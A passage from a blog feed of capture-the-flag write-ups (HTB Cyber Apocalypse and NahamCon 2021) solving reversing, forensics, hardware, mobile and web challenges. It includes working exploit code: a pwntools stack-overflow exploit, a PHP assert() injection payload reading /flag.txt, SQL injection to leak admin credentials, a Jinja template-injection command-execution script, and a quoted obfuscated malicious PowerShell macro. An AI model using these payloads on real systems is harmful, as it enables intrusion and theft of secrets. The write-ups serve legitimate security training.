buffer. So, to reveal the flag I just wrote a python one-liner to XOR that string.\n  \u0026gt;\u0026gt;\u0026gt; \u0026#39;\u0026#39;.join([chr((ord(x)) ^ 9) for x in \u0026#34;}a:Vh|}a:g}8j=}89gV\u0026lt;p\u0026lt;}:dV8\u0026lt;Vg9}V\u0026lt;9V\u0026lt;:j|{:\u0026#34;]) \u0026#39;th3_auth3nt1c4t10n_5y5t3m_15_n0t_50_53cur3\u0026#39; Flag: CHTB{th3_auth3nt1c4t10n_5y5t3m_15_n0t_50_53cur3}\n- Passphrase  Category: Reversing Difficulty: 1/4 Files: ELF 64-bit LSB pie executable  A quick one. The program asks for a passphrase.\n  Disassembling the binary, you\u0026rsquo;d see a bunch of bytes being moved that follow the typical flag format in between a bunch of other valid calls.\n  Enter those as the passphrase and you\u0026rsquo;re done!\n  Flag: CHTB{3xtr4t3rR3stR14L5_VS_hum4n5}\ncategory - Forensics - Key Mission  Category: Forensics Difficulty: 1/4 Files: Pcap  We get a USB pcap for a \u0026ldquo;BlackWidow Ultimate 2016\u0026rdquo; Keyboard. Key inputs are in a \u0026ldquo;HID Data\u0026rdquo; field and not usb.capdata which I was used to.\n  Without knowing the field name to get the HID Data, I learnt that you can output as pdml using tshark (tshark -r key_mission.pcap -T pdml) to get all of the fields in a packet that you can use with -T fields for the -e flag.\nAnyways, extract keypresses with tshark -r key_mission.pcap -T fields -e usbhid.data | sed 's/../:\u0026amp;/g2' \u0026gt; presses and use ctf-usb-keyboard-parser to convert them to ASCII.\n  Flag: CHTB{a_plac3_fAr_fAr_away_fr0m_earth}\n- Invitation  Category: Forensics Difficulty: 1/4 Files: Word Docm Document  We get a macro enabled word document, so I used ViperMonkey to extract and analyse it. The resultant PowerShell command was extracted can be seen on CyberChef here. In between all of the nastiness, the two (formatted) statements of interest were.\n. ( $PshomE[4]+$pshoMe[30]+\u0026#39;x\u0026#39;) ( [strinG]::join( \u0026#39;\u0026#39; , ([REGeX]::MaTCHES( \u0026#34;)\u0026#39;x\u0026#39;+]31[DIlLeHs$+]1[DiLLehs$ (\u0026amp;| )43]RAhc[]GnIRTs[,\u0026#39;tXj\u0026#39;(eCALPER.)\u0026#39;$\u0026#39;,\u0026#39;wqi\u0026#39;(eCALPER.)\u0026#39;;tX\u0026#39;+\u0026#39;jera_scodlam\u0026#39;+\u0026#39;{B\u0026#39;+\u0026#39;T\u0026#39;+\u0026#39;HCtXj \u0026#39;+\u0026#39;= p\u0026#39;+\u0026#39;gerwqi\u0026#39;(\u0026#34; ,\u0026#39;.\u0026#39; ,\u0026#39;R\u0026#39;+\u0026#39;iGHTtOl\u0026#39;+\u0026#39;eft\u0026#39; ) | FoREaCH-OBJecT {$_.VALUE} )) ) SEt (\u0026#34;G8\u0026#34;+\u0026#34;h\u0026#34;) ( \u0026#34; ) )63]Rahc[,\u0026#39;raZ\u0026#39;EcalPeR- 43]Rahc[,)05]Rahc[+87]Rahc[+94]Rahc[( eCAlpERc- )\u0026#39;;2\u0026#39;+\u0026#39;N\u0026#39;+\u0026#39;1\u0026#39;+\u0026#39;}atem_we\u0026#39;+\u0026#39;n_eht\u0026#39;+\u0026#39;_2N1 = n\u0026#39;+\u0026#39;gerr\u0026#39;+\u0026#39;aZ\u0026#39;(( ( )\u0026#39;\u0026#39;niOj-\u0026#39;x\u0026#39;+]3,1[)(GNirTSot.EcNereFeRpEsOBREv$ ( . \u0026#34; ); -jOIn ( lS (\u0026#34;VAR\u0026#34;+\u0026#34;IaB\u0026#34;+\u0026#34;LE:g\u0026#34;+\u0026#34;8H\u0026#34;) ).VALue[ - 1.. - ( ( lS (\u0026#34;VAR\u0026#34;+\u0026#34;IaB\u0026#34;+\u0026#34;LE:g\u0026#34;+\u0026#34;8H\u0026#34;) ).VALue.LengtH)] | IeX I booted a Windows VM to try and deobfuscate the statements a little. The first one I reduced to the following and ran in a PowerShell session:\n[strinG]::join( \u0026#39;\u0026#39; , ([REGeX]::MaTCHES( \u0026#34;)\u0026#39;x\u0026#39;+]31[DIlLeHs$+]1[DiLLehs$ (\u0026amp;| )43]RAhc[]GnIRTs[,\u0026#39;tXj\u0026#39;(eCALPER.)\u0026#39;$\u0026#39;,\u0026#39;wqi\u0026#39;(eCALPER.)\u0026#39;;tX\u0026#39;+\u0026#39;jera_scodlam\u0026#39;+\u0026#39;{B\u0026#39;+\u0026#39;T\u0026#39;+\u0026#39;HCtXj \u0026#39;+\u0026#39;= p\u0026#39;+\u0026#39;gerwqi\u0026#39;(\u0026#34; ,\u0026#39;.\u0026#39; ,\u0026#39;R\u0026#39;+\u0026#39;iGHTtOl\u0026#39;+\u0026#39;eft\u0026#39; ) | FoREaCH-OBJecT {$_.VALUE} ))   That resulted in:\n(\u0026#39;iqwreg\u0026#39;+\u0026#39;p =\u0026#39;+\u0026#39; jXtCH\u0026#39;+\u0026#39;T\u0026#39;+\u0026#39;B{\u0026#39;+\u0026#39;maldocs_arej\u0026#39;+\u0026#39;Xt;\u0026#39;).REPLACe(\u0026#39;iqw\u0026#39;,\u0026#39;$\u0026#39;).REPLACe(\u0026#39;jXt\u0026#39;,[sTRInG][chAR]34) |\u0026amp;( $sheLLiD[1]+$sHeLlID[13]+\u0026#39;x\u0026#39;) If you look closely, you should spot a part of the flag as CHTB{maldocs_are. Notice the calls to replace() which make it more obvious. The second interesting statement I mentioned, you should see a part of the flag that is reversed: '}atem_we'+'n_eht'+'. Reverse by hand and put them together to get the flag.\nFlag: CHTB{maldocs_are_the_new_meta}\ncategory - Hardware - Serial Logs  Category: Hardware Difficulty: 1/4 Files: .sal file  After figuring out what a .sal file was, I downloaded the Windows Logic Analyzer software from Saleae here. Open up the .sal file and you\u0026rsquo;d see a waveform of sorts. It took a bit of time to figure out how to use Logic2 application, but eventually I got to the point where I added a Async Serial Analyzer and chose 115200 as the bit rate (a guess).\n  In the terminal view you could see some clear text \u0026ldquo;logs\u0026rdquo;, with the last readable entry saying that the baud rate has changed, followed by gibberish.\n  With a clear hint that the baud rate changed, the next step was to figure out what the new baud rate was. Looking at the waveform zoomed out pretty far you could see the collapsed pulses being visually different together with the ASCII representation of the bytes Logic2 shows.\n  Calculating baud is something I have struggled with before in previous work. This time though I came across a really good post helping clear up some of the math here. The TL;DR is that the formula to use to calculate the baud rate is 1/(smallest 1/0 time) / 10e-6. If we look at the waveform at two different times, one where the known baud is 115200 and another time where the new baud is used, you can see the pulse timing being clearly different.\n115200 baud\n  Unknown baud\n  To test the formula, I tried to see if I can get to 115200. The shortest pulse I could find was 8.48us.\n\u0026gt;\u0026gt;\u0026gt; 1/(8.48*10e-6) 11792.452830188677 With 115200 being expected, but getting 11792, there was definitely something off. Multiplying by 10e-7 would move the decimal up one place giving is at least a closer hit, but it was not 115200. I changed the existing Async Serial analyser to 117924 to see if that would work, and to my surprise, it did. Heh! So it sort of works out :P\nThat meant I could soft of work out the new baud rate.\n\u0026gt;\u0026gt;\u0026gt; 1/(13.46*10e-7) 74294.20505200594 Updating the Async Serial analyser with a new baud rate of 74294, we see the terminal now showing the original log entries we could see as gibberish, but the new ones in printable ASCII revealing the flag.\n  Flag: CHTB{wh47?!_f23qu3ncy_h0pp1n9_1n_4_532141_p2070c01?!!!52}\n- Compromised  Category: Hardware Difficulty: 1/4 Files: .sal file  Another sal file, this time with data in two channels. I looked for analysers that accepted two channels and found the I2C analyser.\n  The resultant data table showed many ASCII printable characters, so I figured I at least had the right analyser chosen. I exported the data to the clipboard and pasted it into a text file for further processing.\n  A closer look showed that the data had a start/stop sequence, writing one byte at a time. You also could see this when you zoomed the analysed wave form.\n    The raw data also had an address instruction, which was either 4 or ,. Knowing the flag format, we could see that when the , address is used, valid characters are written. A simple grep on that extracted data where the , address is used reveals the flag.\n  Flag: CHTB{nu11_732m1n47025_c4n_8234k_4_532141_5y573m!@52)#@%}\ncategory - Misc - Alien Camp  Category: Misc Difficulty: 1/4 Files: None  A socket service hosted a calculator game, driven by emojis. Sending 1 would send an emoji value reference that changed every time you connected to the socket service. Using this reference, you had to solve 500 math questions in less than 2 seconds or something, each. Obviously something we have to script!\n  My script has two parts. First, request the value map, parse and save that. Next, start the game, parse the question by replacing the emojis with the parsed integers and then eval() that.\nfrom pwn import * ev = [] # emoji value store def find_val(e): \u0026#34;\u0026#34;\u0026#34; get the int value for an emoji \u0026#34;\u0026#34;\u0026#34; for emoji, value in ev: if e == emoji: return value def calc(q, num): \u0026#34;\u0026#34;\u0026#34; answer a question \u0026#34;\u0026#34;\u0026#34; qs = [x.decode(\u0026#39;utf-8\u0026#39;) for x in q.split(b\u0026#39;\\x20\u0026#39;)] # example variable length questions # [\u0026#39;🌞\u0026#39;, \u0026#39;*\u0026#39;, \u0026#39;🍨\u0026#39;, \u0026#39;+\u0026#39;, \u0026#39;👺\u0026#39;, \u0026#39;+\u0026#39;, \u0026#39;👺\u0026#39;, \u0026#39;+\u0026#39;, \u0026#39;🍧\u0026#39;, \u0026#39;*\u0026#39;, \u0026#39;⛔\u0026#39;, \u0026#39;*\u0026#39;, \u0026#39;❌\u0026#39;, \u0026#39;\u0026#39;, \u0026#39;=\u0026#39;, \u0026#39;?\\n\u0026#39;] # [\u0026#39;🍪\u0026#39;, \u0026#39;*\u0026#39;, \u0026#39;🦄\u0026#39;, \u0026#39;-\u0026#39;, \u0026#39;🌞\u0026#39;, \u0026#39;-\u0026#39;, \u0026#39;⛔\u0026#39;, \u0026#39;-\u0026#39;, \u0026#39;🍪\u0026#39;, \u0026#39;+\u0026#39;, \u0026#39;🦄\u0026#39;, \u0026#39;\u0026#39;, \u0026#39;=\u0026#39;, \u0026#39;?\\n\u0026#39;] # [\u0026#39;🌞\u0026#39;, \u0026#39;*\u0026#39;, \u0026#39;🔥\u0026#39;, \u0026#39;-\u0026#39;, \u0026#39;🦄\u0026#39;, \u0026#39;+\u0026#39;, \u0026#39;🌞\u0026#39;, \u0026#39;-\u0026#39;, \u0026#39;👺\u0026#39;, \u0026#39;\u0026#39;, \u0026#39;=\u0026#39;, \u0026#39;?\\n\u0026#39;] # [\u0026#39;❌\u0026#39;, \u0026#39;-\u0026#39;, \u0026#39;🍪\u0026#39;, \u0026#39;*\u0026#39;, \u0026#39;🍨\u0026#39;, \u0026#39;-\u0026#39;, \u0026#39;🦄\u0026#39;, \u0026#39;*\u0026#39;, \u0026#39;❌\u0026#39;, \u0026#39;\u0026#39;, \u0026#39;=\u0026#39;, \u0026#39;?\\n\u0026#39;] # [\u0026#39;🍪\u0026#39;, \u0026#39;-\u0026#39;, \u0026#39;🔥\u0026#39;, \u0026#39;+\u0026#39;, \u0026#39;👺\u0026#39;, \u0026#39;\u0026#39;, \u0026#39;=\u0026#39;, \u0026#39;?\\n\u0026#39;] m = \u0026#39;\u0026#39; for x in qs: if x == \u0026#39;\u0026#39;: break if x in [\u0026#39;+\u0026#39;, \u0026#39;-\u0026#39;, \u0026#39;*\u0026#39;,]: m = f\u0026#39;{m}{x}\u0026#39; continue m = f\u0026#39;{m}{find_val(x)}\u0026#39; ans = eval(m) # this_is_fine.exe print(f\u0026#39;# {num}, q {qs}, a {ans}\u0026#39;) return ans def get_q(c): \u0026#34;\u0026#34;\u0026#34; get a question \u0026#34;\u0026#34;\u0026#34; c.recvline() c.recvline() _, q_num = c.recvline().split(b\u0026#39;\\x20\u0026#39;) q_num, _ = q_num.decode(\u0026#39;utf-8\u0026#39;).split(\u0026#39;:\u0026#39;) c.recvline() q = c.recvline() c.recvuntil(\u0026#39;Answer: \u0026#39;) return int(q_num), q if __name__ == \u0026#39;__main__\u0026#39;: conn = remote(\u0026#39;138.68.185.219\u0026#39;, 31021) conn.recvuntil(\u0026#39;\u0026gt;\u0026#39;) conn.send(\u0026#39;1\\n\u0026#39;) conn.recvline() conn.recvline() key = conn.recvline() conn.recvline() # populate the emoji value store keys = key.split(b\u0026#39;\\x20\u0026#39;) conn.recvuntil(\u0026#39;\u0026gt;\u0026#39;) c = 0 while len(ev) \u0026lt; 10: ev.append((keys[c].decode(\u0026#39;utf-8\u0026#39;), int(keys[c+2]),)) c+=3 # start game conn.send(\u0026#39;2\\n\u0026#39;) conn.recvline() q_num = 0 while q_num \u0026lt; 500: q_num, q = get_q(conn) a = calc(q, q_num) conn.send(f\u0026#39;{a}\\n\u0026#39;) conn.recvline() # get our flag conn.interactive() The final moments of the script running looked like this.\n  Flag: CHTB{3v3n_4l13n5_u53_3m0j15_t0_c0mmun1c4t3}\n- Input as a Service  Category: Misc Difficulty: 1/4 Files: None  We get another socket service, but I wasted a bunch of time by browsing to it\u0026hellip; lol.\n  Anyways, rabbit hole aside, it looked like some sort of python interpreter over a TCP socket. Maybe not exactly a python interpreter, but you could do some interesting things like read files.\n  To get the flag. just open('flag.txt').read().\nFlag: CHTB{4li3n5_us3_pyth0n2.X?!\n","permalink":"https://leonjza.github.io/blog/2021/04/24/hack-the-box-cyber-apocalypse-ctf-21/","summary":"foreword The HTB Cyber Apocalypse 2021 event was a nice and polished CTF. Apart from the usual start time load issues, everything ran pretty smoothly with nearly zero issues my side. Kudo\u0026rsquo;s HTB! Here are the solutions for the ~20 challenges I managed to solve.\nsolutions category - web - BlitzProp  Category: Web Difficulty: 1/4 Files: Web app source \u0026amp; build env    The challenge landing page already had a hint in the \u0026ldquo;ASTa la vista baby\u0026rdquo; song.","title":"hack the box - cyber apocalypse ctf '21"},{"content":"category iot - hard\nsolution unfortunately the infra was down by the time I got to the writeup\nWe\u0026rsquo;re given an IP and credentials, along with a reference to mosquito. There was also a URL that accepted a username, a password and OTP.\nI used MQTT Explorer to connect to the mosquito server. With a bit of patience, an office topic received a message with a \u0026ldquo;u\u0026rdquo; and \u0026ldquo;p\u0026rdquo; flag, base64 encoded.\nYWRtaW5pc3RyYXRvcg== U2VDVVJlUEA1NVcwckQx Decoded they are:\nadministrator SeCUReP@55W0rD1 A webcam topic also received some messages, arriving as part 1 and part 2. These were much longer base64 encoded strings, so I copied them and put them in a file. Next, base64 decoding the strings we got from the webcam produced an image.\n  I thought I had everything needed to login to the web interface, but the credentials were wrong for some reason. After a while, retracing my steps, I pulled the webcam parts again, and stitching them together I realise the OTP was different this time. OFC! Using the new webcam images faster, I logged in and revealed the flag.\n","permalink":"https://leonjza.github.io/blog/2021/03/15/nahamcon2021-ctf-iot-itchy-scratchy-secureiot-co/","summary":"category iot - hard\nsolution unfortunately the infra was down by the time I got to the writeup\nWe\u0026rsquo;re given an IP and credentials, along with a reference to mosquito. There was also a URL that accepted a username, a password and OTP.\nI used MQTT Explorer to connect to the mosquito server. With a bit of patience, an office topic received a message with a \u0026ldquo;u\u0026rdquo; and \u0026ldquo;p\u0026rdquo; flag, base64 encoded.","title":"NahamCon2021 CTF - IoT Itchy \u0026 Scratchy SecureIoT Co"},{"content":"category mobile - medium\nsolution This was a fun one. We get an .apk to download. Open it in jadx and quickly see this is a React App.\npackage com.microscopium; import com.facebook.react.ReactActivity; public class MainActivity extends ReactActivity { /* access modifiers changed from: protected */ @Override // com.facebook.react.ReactActivity  public String getMainComponentName() { return \u0026#34;Microscopium\u0026#34;; } } Being React, I expected a large chunk of the logic to be in a JavaScript file, which could be found in the resources section.\n  The app itsef was simple. Just a field where you could enter a PIN, and an output you\u0026rsquo;d get when you submitted. Every different PIN you entered produced a different output.\n  The logic for the PIN could be found in the JavaScript. Searching for the word pin would have revealed the relevant line. \u0026ldquo;Prettifying\u0026rdquo; the relevant line, and extracting the interesting bits, youd find this:\nfunction b() { var t; (0, o.default)(this, b); for (var n = arguments.length, l = new Array(n), u = 0; u \u0026lt; n; u++) l[u] = arguments[u]; return (t = v.call.apply(v, [this].concat(l))).state = { output: \u0026#39;Insert the pin to get the flag\u0026#39;, text: \u0026#39;\u0026#39; }, t.partKey = \u0026#34;pgJ2K9PMJFHqzMnqEgL\u0026#34;, t.cipher64 = \u0026#34;AA9VAhkGBwNWDQcCBwMJB1ZWVlZRVAENW1RSAwAEAVsDVlIAV00=\u0026#34;, t.onChangeText = function (n) { t.setState({ text: n }) }, t.onPress = function () { var n = p.Base64.toUint8Array(t.cipher64), o = y.sha256.create(); o.update(t.partKey), o.update(t.state.text); for (var l = o.hex(), u = \u0026#34;\u0026#34;, c = 0; c \u0026lt; n.length; c++) u += String.fromCharCode(n[c] ^ l.charCodeAt(c)); t.setState({ output: u }) }, t } The important parts were that the key had an existing part, pgJ2K9PMJFHqzMnqEgL, whereafter your pin would be appended. A simple xor operation was being performed over the cipher. Based on this, I wrote a simple brute force script, copying the code from the React app.\n/* package.json { \u0026#34;dependencies\u0026#34;: { \u0026#34;js-base64\u0026#34;: \u0026#34;^3.6.0\u0026#34;, \u0026#34;js-sha256\u0026#34;: \u0026#34;^0.9.0\u0026#34; } } */ const sha256 = require(\u0026#39;js-sha256\u0026#39;); const Base64 = require(\u0026#39;js-base64\u0026#39;); const cipher = \u0026#39;AA9VAhkGBwNWDQcCBwMJB1ZWVlZRVAENW1RSAwAEAVsDVlIAV00=\u0026#39;; const n = Base64.toUint8Array(cipher); for (var i = 0; i \u0026lt; 9999; i++) { var o = sha256.create(); o.update(\u0026#39;pgJ2K9PMJFHqzMnqEgL\u0026#39;); o.update(i.toString()); for (var l = o.hex(), u = \u0026#39;\u0026#39;, c = 0; c \u0026lt; n.length; c++) { u += String.fromCharCode(n[c] ^ l.charCodeAt(c)); } if (u.includes(\u0026#34;flag{\u0026#34;)) { console.log(\u0026#34;pin=\u0026#34;, i.toString(), \u0026#34;flag= \u0026#34;, u); } } Run it to reveal the flag.\n$ node brute.js pin= 4784 flag= flag{06754e57e02b0c505149cd1055ba5e0b} ","permalink":"https://leonjza.github.io/blog/2021/03/15/nahamcon2021-ctf-microscopium/","summary":"category mobile - medium\nsolution This was a fun one. We get an .apk to download. Open it in jadx and quickly see this is a React App.\npackage com.microscopium; import com.facebook.react.ReactActivity; public class MainActivity extends ReactActivity { /* access modifiers changed from: protected */ @Override // com.facebook.react.ReactActivity  public String getMainComponentName() { return \u0026#34;Microscopium\u0026#34;; } } Being React, I expected a large chunk of the logic to be in a JavaScript file, which could be found in the resources section.","title":"NahamCon2021 CTF - Microscopium"},{"content":"category mobile - easy\nsolution We get an .apk to download. Open it in jadx. And check the com.congon4tor.resourceful.FlagActivity class. There is a reference to the string flag{ and resource called md5.\n  Checking out the resources section, the md5 is revealed to complete the flag.\n  ","permalink":"https://leonjza.github.io/blog/2021/03/15/nahamcon2021-ctf-resourceful/","summary":"category mobile - easy\nsolution We get an .apk to download. Open it in jadx. And check the com.congon4tor.resourceful.FlagActivity class. There is a reference to the string flag{ and resource called md5.\n  Checking out the resources section, the md5 is revealed to complete the flag.\n  ","title":"NahamCon2021 CTF - Resourceful"},{"content":"category mobile - easy\nsolution We get an .apk to download. Open it in jadx. And check the com.example.hack_the_app.MainActivity class.\nRun the app in a simulator (or a phone whatever you want), enter the credentials and find the flag.\n  ","permalink":"https://leonjza.github.io/blog/2021/03/15/nahamcon2021-ctf-andra/","summary":"category mobile - easy\nsolution We get an .apk to download. Open it in jadx. And check the com.example.hack_the_app.MainActivity class.\nRun the app in a simulator (or a phone whatever you want), enter the credentials and find the flag.\n  ","title":"NahamCon2021 CTF - Andra"},{"content":"category binary exploitation - easy\nsolution The file we download is a ELF executable.\n$ file ret2basic ret2basic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3ca85eae693fed659275c0eed9c313e7f0083b85, for GNU/Linux 4.4.0, not stripped Running it hints the vuln.\n$ ./ret2basic Can you overflow this?: AAAA Nope :( $ $ ./ret2basic Can you overflow this?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [1] 9615 segmentation fault ./ret2basic $ Disassembling the binary, we find that main() eventually calls vuln where the overflow exists.\n  A function called win() also exists, which will read the flag to us if we could reach it.\n  In gdb we can see the overflow smashing the stack, causing the ret from vuln() to crash.\n  The binary does not have an executable stack, but we can replace the address at the right location so that the ret call redirects the program counter to win().\ngef➤ checksec [+] checksec for \u0026#39;ret2basic\u0026#39; Canary : ✘ NX : ✓ PIE : ✘ Fortify : ✘ RelRO : Partial We can get the address of win() with p win.\ngef➤ p win $1 = {\u0026lt;text variable, no debug info\u0026gt;} 0x401215 \u0026lt;win\u0026gt; To find the exact location in the input buffer where the address to ret to should be, we can use a cycling buffer. I used the built in pattern create tool in GEF to feed to ret2basic.\ngef➤ pattern offset $rsp [+] Searching \u0026#39;$rsp\u0026#39; [+] Found at offset 120 (little-endian search) likely [+] Found at offset 113 (big-endian search) gef➤ We can confirm the location by running it again with 120 A\u0026rsquo;s and 8 B\u0026rsquo;s. If rsp has the B\u0026rsquo;s, we good.\ngef➤ x/g $rsp 0x7fffffffe328: 0x4242424242424242 gef➤ Simple. To make exploitation easier, I used pwntools to write an exploit locally first, then remotely.\nThe local exploit was:\nfrom pwn import * elf = context.binary = ELF(\u0026#34;ret2basic\u0026#34;) win = p64(elf.symbols.win) io = process(elf.path) payload = b\u0026#34;A\u0026#34;*120 + win io.sendline(payload) io.interactive() Running that resulted in a successful call to win(), but obviously a failed flag read as it wasn\u0026rsquo;t the remote service. The remote version follows which successfully read the flag.\nfrom pwn import * elf = context.binary = ELF(\u0026#34;ret2basic\u0026#34;) win = p64(elf.symbols.win) payload = b\u0026#34;A\u0026#34;*120 + win conn = remote(\u0026#34;challenge.nahamcon.com\u0026#34;, 30159) conn.sendline(payload) conn.interactive()   ","permalink":"https://leonjza.github.io/blog/2021/03/15/nahamcon2021-ctf-ret2basic/","summary":"category binary exploitation - easy\nsolution The file we download is a ELF executable.\n$ file ret2basic ret2basic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3ca85eae693fed659275c0eed9c313e7f0083b85, for GNU/Linux 4.4.0, not stripped Running it hints the vuln.\n$ ./ret2basic Can you overflow this?: AAAA Nope :( $ $ ./ret2basic Can you overflow this?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [1] 9615 segmentation fault ./ret2basic $ Disassembling the binary, we find that main() eventually calls vuln where the overflow exists.","title":"NahamCon2021 CTF - Ret2basic"},{"content":"category web - medium\nsolution The challenge URL dropped us on a page related to fitness, with not a lot of interesting interactions.\n  Navigating the pages you\u0026rsquo;d see a URL scheme where a page parameter is set. Eg: page=about. An about.php also exists, so this was potentially vuln to LFI. Using .. in the page parameter resulted in a warning message indicating that some filtering was taking place.\n$ curl \u0026#34;http://challenge.nahamcon.com:31497/index.php?page=../../../../../../../etc/passwd\u0026#34; HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE PHP has stream wrappers, one we could use to read files from the filesystem. E.g.: php://filter/convert.base64-encode/resource=\u0026lt;file\u0026gt;. Specifying a file path with a .. it still triggered the security check, but, we could download the source of the index.php file.\n$ curl \u0026#34;http://challenge.nahamcon.com:31497/index.php?page=php://filter/convert.base64-encode/resource=index\u0026#34; PD9waHANCg0KaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKSB7DQogICRwYWdlID0gJF9HRVRbJ3BhZ2UnXTsNCiAgJGZpbGUgPSAkcGFnZSAuICIucGhwIjsNCg0KICAvLyBTYXZpbmcgb3Vyc2VsdmVzIGZyb20gYW55IGtpbmQgb2YgaGFja2luZ3MgYW5kIGFsbA0KICBhc3NlcnQoInN0cnBvcygnJGZpbGUnLCAnLi4nKSA9PT0gZmFsc2UiKSBvciBkaWUoIkhBQ0tJTkcgREVURUNURUQhIFBMRUFTRSBTVE9QIFRIRSBIQUNLSU5HIFBSRVRUWSBQTEVBU0UiKTsNCiAgDQp9IGVsc2Ugew0KICAkZmlsZSA9ICJob21lLnBocCI7DQp9DQoNCmluY2x1ZGUoJGZpbGUpOw0KDQo/Pg0K Decoding that reveals the check in place.\n\u0026lt;?php if (isset($_GET[\u0026#39;page\u0026#39;])) { $page = $_GET[\u0026#39;page\u0026#39;]; $file = $page . \u0026#34;.php\u0026#34;; // Saving ourselves from any kind of hackings and all  assert(\u0026#34;strpos(\u0026#39;$file\u0026#39;, \u0026#39;..\u0026#39;) === false\u0026#34;) or die(\u0026#34;HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE\u0026#34;); } else { $file = \u0026#34;home.php\u0026#34;; } include($file); ?\u0026gt;Immediately you should see that an assert() is called with some PHP source code as a string. We can inject PHP source code here because we can taint the string passed to assert() as $file is from the request, and thus user controlled.\nTesting this locally was pretty easy. Before the assert() call I added a line to log what the string would look like first. I then served the script with php -S localhost:1337.\n// ...  $d = \u0026#34;strpos(\u0026#39;$file\u0026#39;, \u0026#39;..\u0026#39;) === false\u0026#34;; error_log(print_r($d, TRUE)); // ... Using this debug line I added code to the request to close the original strpos() call so that it would fail, and closed off the rest of the original strpos() so that it would fail as well.\n  Passing ','foo') === false \u0026amp;\u0026amp; strpos('1 as a page parameter value would result in the application saying that it could not find the file we wanted to include. Excellent! The challenge hint tells us that the flag is in /flag.txt, so to echo that I just added a die(file_get_contents('/flag.txt')), exactly the same way the security check worked.\n$ curl -G \u0026#34;http://challenge.nahamcon.com:31497/\u0026#34; --data-urlencode \u0026#34;page=\u0026#39;,\u0026#39;foo\u0026#39;) === false \u0026amp;\u0026amp; die(file_get_contents(\u0026#39;/flag.txt\u0026#39;)) \u0026amp;\u0026amp; strpos(\u0026#39;1\u0026#34; flag{85a25711fa6e111ed54b86468a45b90c} ","permalink":"https://leonjza.github.io/blog/2021/03/15/nahamcon2021-ctf-asserted/","summary":"category web - medium\nsolution The challenge URL dropped us on a page related to fitness, with not a lot of interesting interactions.\n  Navigating the pages you\u0026rsquo;d see a URL scheme where a page parameter is set. Eg: page=about. An about.php also exists, so this was potentially vuln to LFI. Using .. in the page parameter resulted in a warning message indicating that some filtering was taking place.","title":"NahamCon2021 CTF - Asserted"},{"content":"category web - medium\nsolution We\u0026rsquo;re given an archive to download, agenttester.zip. This contained a Dockerfile and a python web application. The files in the archive had many secrets redacted which were set using environment variables. One specifically interesting one was CHALLENGE_FLAG, which we could assume was the target value to leak.\nThe challenge URL dropped us on a page where we need to login. So, create an account, login and land on the home page of the agent tester.\n  In burp we\u0026rsquo;ll see that WebSocket requests are being made when we submit an \u0026ldquo;agent\u0026rdquo;.\n  From both playing with the application and the Python source code, we could spot an SQL injection vulnerability.\n  query = db.session.execute( \u0026#34;SELECT userAgent, url FROM uAgents WHERE userAgent = \u0026#39;%s\u0026#39;\u0026#34; % uAgent ).fetchone() The application also set the admin credentials from environment variables when configuring the web application. Using the SQL injection we found we could try and leak those.\n@app.before_first_request def create_tables(): db.create_all() try: user = User( username=os.environ.get(\u0026#34;ADMIN_BOT_USER\u0026#34;), email=\u0026#34;admin@admin.com\u0026#34;, password=os.environ.get(\u0026#34;ADMIN_BOT_PASSWORD\u0026#34;), about=\u0026#34;\u0026#34;, ) db.session.add(user) db.session.commit() except Exception as e: print(str(e), flush=True) Thankfully Burp allows for repeating web socket requests, so crafting a payload to disclose the admin user\u0026rsquo;s password is relatively easy.\n  With admin creds, we can now browse to the /debug endpoint which was protected by the admin session (session id 1).\n@app.route(\u0026#34;/debug\u0026#34;, methods=[\u0026#34;POST\u0026#34;]) def debug(): sessionID = session.get(\u0026#34;id\u0026#34;, None) if sessionID == 1: code = request.form.get(\u0026#34;code\u0026#34;, \u0026#34;\u0026lt;h1\u0026gt;Safe Debug\u0026lt;/h1\u0026gt;\u0026#34;) return render_template_string(code) else: return \u0026#34;Not allowed.\u0026#34; The vuln should be relatively obvious here. Jinja\u0026rsquo;s render_template_string() is called if we provide a value to code. To exploit this template injection I wrote this script.\nimport requests import sys burp0_url = \u0026#34;http://challenge.nahamcon.com:31162/debug\u0026#34; burp0_cookies = {\u0026#34;auth\u0026#34;: \u0026#34;eyJpZCI6MX0.YE44rQ.41KZbUtORmkul0Va5ku_yh-ywn0\u0026#34;} burp0_headers = { \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0\u0026#34;, \u0026#34;Accept\u0026#34;: \u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\u0026#34;, \u0026#34;Accept-Language\u0026#34;: \u0026#34;en-US,en;q=0.5\u0026#34;, \u0026#34;Accept-Encoding\u0026#34;: \u0026#34;gzip, deflate\u0026#34;, \u0026#34;Connection\u0026#34;: \u0026#34;close\u0026#34;, \u0026#34;Referer\u0026#34;: \u0026#34;http://challenge.nahamcon.com:31329/\u0026#34;, \u0026#34;Upgrade-Insecure-Requests\u0026#34;: \u0026#34;1\u0026#34; } data = {\u0026#34;code\u0026#34;: f\u0026#34;{{{{{sys.argv[1]}}}}}\u0026#34;} r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=data) print(r.text) Calling it to run the env OS command revealed the flag.\n$ python3 pwn.py \u0026#34;config.__class__.__init__.__globals__[\u0026#39;os\u0026#39;].popen(\u0026#39;env\u0026#39;).read()\u0026#34; | grep CHALLENGE CHALLENGE_FLAG=flag{fb4a87cfa85cf8c5ab2effedb4ea7006} CHALLENGE_NAME=AgentTester 